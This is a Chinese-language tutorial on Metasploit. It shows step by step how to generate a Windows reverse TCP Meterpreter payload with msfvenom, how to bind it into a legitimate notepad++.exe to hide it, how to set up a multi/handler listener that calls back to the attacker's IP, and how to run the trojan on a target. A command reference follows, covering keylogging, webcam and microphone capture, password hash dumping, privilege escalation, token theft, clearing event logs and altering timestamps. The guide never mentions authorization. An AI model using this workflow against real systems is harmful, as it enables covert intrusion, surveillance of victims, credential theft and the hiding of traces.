Metasploit: 从 Payload 生成到 Meterpreter 命令详解指南
本指南将全面介绍使用 Metasploit Framework (msfvenom + msfconsole) 生成 Meterpreter 反向 TCP payload,以及在成功建立会话后如何使用 Meterpreter 的各种强大命令进行系统操作、侦察和提权。
前提条件
- 已安装 Metasploit Framework。
- 已连接到目标机器的网络。
- 具有目标机器上管理员权限(用于生成 Payload 后注入或传递,或者用于 Meterpreter 的高级命令)。
第一部分:使用 msfvenom
生成 Meterpreter Payload
msfvenom
是 Metasploit Framework 的 payload 生成器,用于创建各种格式和类型的 payload。
1. Payload 生成命令结构
msfvenom -p <payload> LHOST=<你的Kali IP> LPORT=<监听端口> -f <输出格式> -o <输出文件名>
-p <payload>
: 指定 payload 类型,例如windows/x64/meterpreter/reverse_tcp
(适用于 64 位 Windows 的反向 TCP Meterpreter)。LHOST=<你的Kali IP>
: 设置你的 Kali Linux 机器的 IP 地址,Payload 将连接回此地址。LPORT=<监听端口>
: 设置 Payload 连接回 Kali 的端口。-f <输出格式>
: 指定输出文件的格式,如exe
(Windows 可执行文件)。-o <输出文件名>
: 指定生成文件的名称。
2. 生成包含合法程序的 Payload (-x
)
为了增加隐蔽性,可以将 Payload 注入到现有的合法可执行文件中。
命令示例:
# 假设你的 Kali IP 是 192.168.0.104,监听端口为 4444
# 并且你有一个合法的 notepad++.exe 文件在当前目录下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe -x notepad++.exe -o meterpreter_notepad.exe
执行后,将在当前目录生成 meterpreter_notepad.exe
文件,它是一个包含 Meterpreter Payload 的可执行文件。
第二部分:使用 msfconsole
设置监听器
在生成 Payload 后,需要启动一个监听器来接收来自目标机器的连接。
1. 启动 msfconsole
msfconsole
2. 选择监听模块
Meterpreter 反向连接监听模块是 exploit/multi/handler
。
msf6 > use exploit/multi/handler
3. 配置 Payload 选项
设置与 msfvenom
生成 Payload 时相同的 Payload 类型。
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
4. 设置监听地址 (LHOST
) 和端口 (LPORT
)
确保这些值与 msfvenom
中设置的值完全一致。
msf6 exploit(multi/handler) > set LHOST 192.168.0.104 # 替换为你的 Kali IP
msf6 exploit(multi/handler) > set LPORT 4444 # 替换为你设置的监听端口
5. 检查所有选项
使用 show options
命令确认所有设置。
msf6 exploit(multi/handler) > show options
关键检查项:
LHOST
: 你的 Kali IP 地址。LPORT
: 你设置的监听端口。Payload
:windows/x64/meterpreter/reverse_tcp
。
6. 启动监听器
执行 run
或 exploit
命令来启动监听器。
msf6 exploit(multi/handler) > run
你应看到类似 [*] Started reverse TCP handler on 0.0.0.0:4444
的消息,表示监听器已成功启动。
第三部分:在目标机器上执行 Payload
在目标机器上执行生成的 meterpreter_notepad.exe
文件。执行方式可能包括:
- 直接运行: 在目标机器上双击运行或通过命令行执行。
- 文件传输: 通过网络共享、漏洞利用等方式将文件发送到目标机器并执行。
Payload 执行后,它将尝试连接回你的 Kali IP (LHOST
) 的指定端口 (LPORT
)。如果连接成功,你会在 msfconsole
中看到 Meterpreter 会话被建立。
第四部分:Meterpreter 命令详解
一旦建立了 Meterpreter 会话,你就可以使用以下命令与目标机器进行交互。
核心命令 (Core Commands)
命令 (Command) | 中文解释 |
---|---|
? / help |
显示帮助菜单,提供所有可用命令列表。 |
background / bg |
将当前会话放到后台,以便执行其他操作或切换会话。 |
bgkill |
终止一个正在后台运行的 Meterpreter 脚本。 |
bglist |
列出当前后台运行的 Meterpreter 脚本。 |
bgrun <script> |
将一个 Meterpreter 脚本作为后台线程执行。 |
channel |
显示当前活动的通道信息,用于管理 Meterpreter 的不同服务。 |
close |
关闭一个指定的通道。 |
detach |
(HTTP/HTTPS) 将会话从当前进程分离,使其能在后台独立运行。 |
disable_unicode_encoding |
禁用 Unicode 字符串的自动编码。 |
enable_unicode_encoding |
启用 Unicode 字符串的自动编码(默认)。 |
exit / quit |
终止当前的 Meterpreter 会话。 |
get_timeouts |
显示当前会话的超时设置。 |
guid |
获取当前会话的全局唯一标识符 (GUID)。 |
irb |
在当前会话上下文中打开 Ruby 交互式解释器,用于脚本编写和高级交互。 |
load <extension> |
加载 Meterpreter 扩展(如 espia , mimikatz )以获得额外功能。 |
machine_id |
获取附加到会话的机器在 Metasploit Framework 中的 ID。 |
migrate |
将 Meterpreter 后端进程迁移到目标机器上的另一个进程,提高隐蔽性。 |
pivot |
管理 Pivot 监听器,实现从被控机器攻击网络中其他机器。 |
pry |
打开 Pry 调试器,用于高级脚本开发和调试。 |
read |
从指定的通道读取数据。 |
resource <file> |
从一个 .rc 脚本文件读取并执行 Metasploit 命令,实现任务自动化。 |
run |
执行一个 Meterpreter 脚本或 Post 模块。 |
secure |
重新协商或启用 Meterpreter 会话的 TLV 数据包加密。 |
sessions |
在多个活动 Meterpreter 会话之间快速切换。 |
set_timeouts |
设置会话的超时参数(如空闲超时、重连间隔)。 |
sleep |
让 Meterpreter 进入休眠状态,暂时停止通信,一段时间后重连。 |
ssl_verify |
修改 SSL/TLS 证书验证行为。 |
transport |
管理 Meterpreter 的通信传输协议(TCP, HTTP, HTTPS)。 |
use |
load 命令的旧式别名。 |
uuid |
获取当前会话的通用唯一标识符 (UUID)。 |
write |
向指定的通道写入数据。 |
Stdapi: 文件系统命令 (Stdapi: File system Commands)
这些命令用于操作目标机器的文件系统。
命令 (Command) | 中文解释 |
---|---|
cat <file> |
读取并显示指定文件的内容。 |
cd <dir> |
切换当前工作目录到目标机器上的指定目录。 |
checksum <file> |
计算并返回指定文件的校验和。 |
cp <src> <dest> |
将源文件或目录复制到目标位置。 |
del <file> |
删除指定的文件。 |
dir / ls |
列出当前目录下的文件和子目录。 |
download <remote> [local] |
将目标机器上的文件或目录下载到本地 Kali 机器。 |
edit <file> |
使用默认编辑器打开目标机器上的文件进行编辑。 |
getlwd / lpwd |
显示你 Kali Linux 本地机器当前的工作目录。 |
getwd |
显示目标机器上当前 Meterpreter 的工作目录。 |
lcat <file> |
读取你 Kali Linux 本地机器上的文件内容并显示。 |
lcd <dir> |
切换你 Kali Linux 本地机器的当前工作目录。 |
ldir / lls |
列出你 Kali Linux 本地机器上当前目录的文件和子目录。 |
lmkdir <dir> |
在你 Kali Linux 本地机器上创建一个新的目录。 |
mkdir <dir> |
在目标机器上创建一个新的目录。 |
mv <src> <dest> |
将源文件或目录移动到目标位置。 |
pwd |
显示目标机器上当前 Meterpreter 的工作目录。 |
rm <file> |
删除目标机器上的指定文件。 |
rmdir <dir> |
删除目标机器上的指定目录(通常要求目录为空)。 |
search <pattern> |
在目标机器的文件系统中搜索符合指定模式的文件。 |
show_mount |
列出目标机器上所有挂载点或逻辑驱动器。 |
upload <local> [remote] |
将你 Kali Linux 本地机器上的文件或目录上传到目标机器的指定位置。 |
Stdapi: 网络命令 (Stdapi: Networking Commands)
用于侦察和管理目标机器的网络连接。
命令 (Command) | 中文解释 |
---|---|
arp |
显示目标机器的 ARP 缓存表。 |
getproxy |
显示目标机器当前的网络代理配置。 |
ifconfig |
列出目标机器的网络接口配置(IP, MAC 等)。 |
ipconfig |
列出目标机器的网络接口配置(IP, 子网掩码, 网关等)。 |
netstat |
显示目标机器当前活动网络连接的列表。 |
portfwd |
将你 Kali 本地的某个端口转发到目标机器上的一个服务。 |
resolve <host> |
在目标机器上解析指定的主机名到 IP 地址。 |
route |
查看和修改目标机器的路由表。 |
Stdapi: 系统命令 (Stdapi: System Commands)
用于执行系统级别的操作。
命令 (Command) | 中文解释 |
---|---|
clearev |
清除目标机器的事件日志(安全、系统、应用程序日志)。 |
drop_token |
放弃当前进程的模拟令牌,恢复为原始权限。 |
execute <cmd> |
在目标机器上执行一个命令。 |
getenv <variable> |
获取目标机器上环境变量的值。 |
getpid |
获取当前 Meterpreter 进程的进程 ID (PID)。 |
getprivs |
尝试启用当前进程可用的所有权限,以提升权限。 |
getsid |
获取当前进程运行用户的安全标识符 (SID)。 |
getuid |
显示当前 Meterpreter 进程运行的用户账户和 UID。 |
kill <pid> |
终止目标机器上指定 PID 的进程。 |
localtime |
显示目标机器的本地日期和时间。 |
pgrep <name> |
根据进程名过滤并列出进程信息。 |
pkill <name> |
根据进程名终止目标机器上的进程。 |
ps |
列出目标机器上所有正在运行的进程及其详细信息。 |
reboot |
重启目标机器。 |
reg |
与目标机器的注册表进行交互(查看、修改、删除项和值)。 |
rev2self |
调用 RevertToSelf() 函数,将进程令牌恢复为其原始所有者。 |
shell |
提供一个目标机器的交互式命令行 shell(如 cmd.exe )。 |
shutdown |
关闭或重启目标机器。 |
steal_token |
尝试从另一个目标进程窃取其模拟令牌,用于身份冒充。 |
suspend <pid> |
暂停或恢复目标机器上指定的进程。 |
sysinfo |
获取目标机器的详细系统信息(操作系统版本、名称、架构等)。 |
Stdapi: 用户界面命令 (Stdapi: User interface Commands)
用于与目标机器的用户界面进行交互。
命令 (Command) | 中文解释 |
---|---|
enumdesktops |
枚举目标机器上所有可访问的桌面和窗口工作站。 |
getdesktop |
获取 Meterpreter 当前附加到的目标机器的桌面。 |
idletime |
返回目标机器的当前登录用户已空闲的秒数。 |
keyboard_send <keys> |
向目标机器发送一系列键盘输入。 |
keyevent <event> |
发送单个键盘按键事件。 |
keyscan_dump |
显示并清除已捕获的键盘记录。 |
keyscan_start |
开始捕获目标机器上用户的键盘输入。 |
keyscan_stop |
停止键盘输入捕获。 |
mouse |
发送模拟鼠标事件(移动、点击等)。 |
screenshare |
在 Kali 机器上实时显示目标机器的桌面内容。 |
screenshot |
截取目标机器当前桌面的屏幕截图。 |
setdesktop |
更改 Meterpreter 当前附加到的目标机器桌面。 |
uictl <control> <val> |
控制目标机器的用户界面组件(如启用/禁用屏幕保护、锁定屏幕)。 |
Stdapi: 摄像头命令 (Stdapi: Webcam Commands)
用于访问和控制目标机器的摄像头。
命令 (Command) | 中文解释 |
---|---|
record_mic <sec> |
从目标机器的默认麦克风录制指定秒数的音频。 |
webcam_chat |
启动一个实时视频聊天会话。 |
webcam_list |
列出目标机器上所有连接的网络摄像头。 |
webcam_snap |
从指定的摄像头拍摄一张静态图片。 |
webcam_stream |
从指定的摄像头实时播放视频流。 |
Stdapi: 音频输出命令 (Stdapi: Audio Output Commands)
用于在目标机器上播放音频。
命令 (Command) | 中文解释 |
---|---|
play <file> |
在目标机器上播放一个 .wav 格式的音频文件(需要先上传到目标机器)。 |
Priv: 提权命令 (Priv: Elevate Commands)
用于尝试提升当前进程的权限。
命令 (Command) | 中文解释 |
---|---|
getsystem |
尝试将当前 Meterpreter 进程的权限提升到目标机器的 SYSTEM (本地系统) 权限。 |
Priv: 密码数据库命令 (Priv: Password database Commands)
用于提取用户凭据信息。
命令 (Command) | 中文解释 |
---|---|
hashdump |
尝试从目标机器的 SAM 数据库中导出用户账户的密码哈希值,用于离线破解。 (需要管理员权限) |
Priv: 时间戳命令 (Priv: Timestomp Commands)
用于修改文件的时间戳属性,以清理痕迹。
命令 (Command) | 中文解释 |
---|---|
timestomp <file> |
修改目标机器上文件的 MACE (Modified, Accessed, Created, Entry-Modified) 属性。 |
提示:
- 命令帮助: 使用
help <command>
或<command> -h
获取特定命令的详细用法。 - 权限: 许多
Priv
命令以及部分Stdapi
命令(如hashdump
,clearev
,reg
等)需要 Meterpreter 进程拥有管理员权限才能执行。 - 后台执行: 对于耗时操作(如文件下载、屏幕录制),可以使用
bgrun
命令将其放到后台执行。 - 隐蔽性: 迁移进程 (
migrate
)、使用 SSL/TLS (ssl
选项)、禁用 Unicode 编码等技术可以提高 Meterpreter 会话的隐蔽性。
评论(0)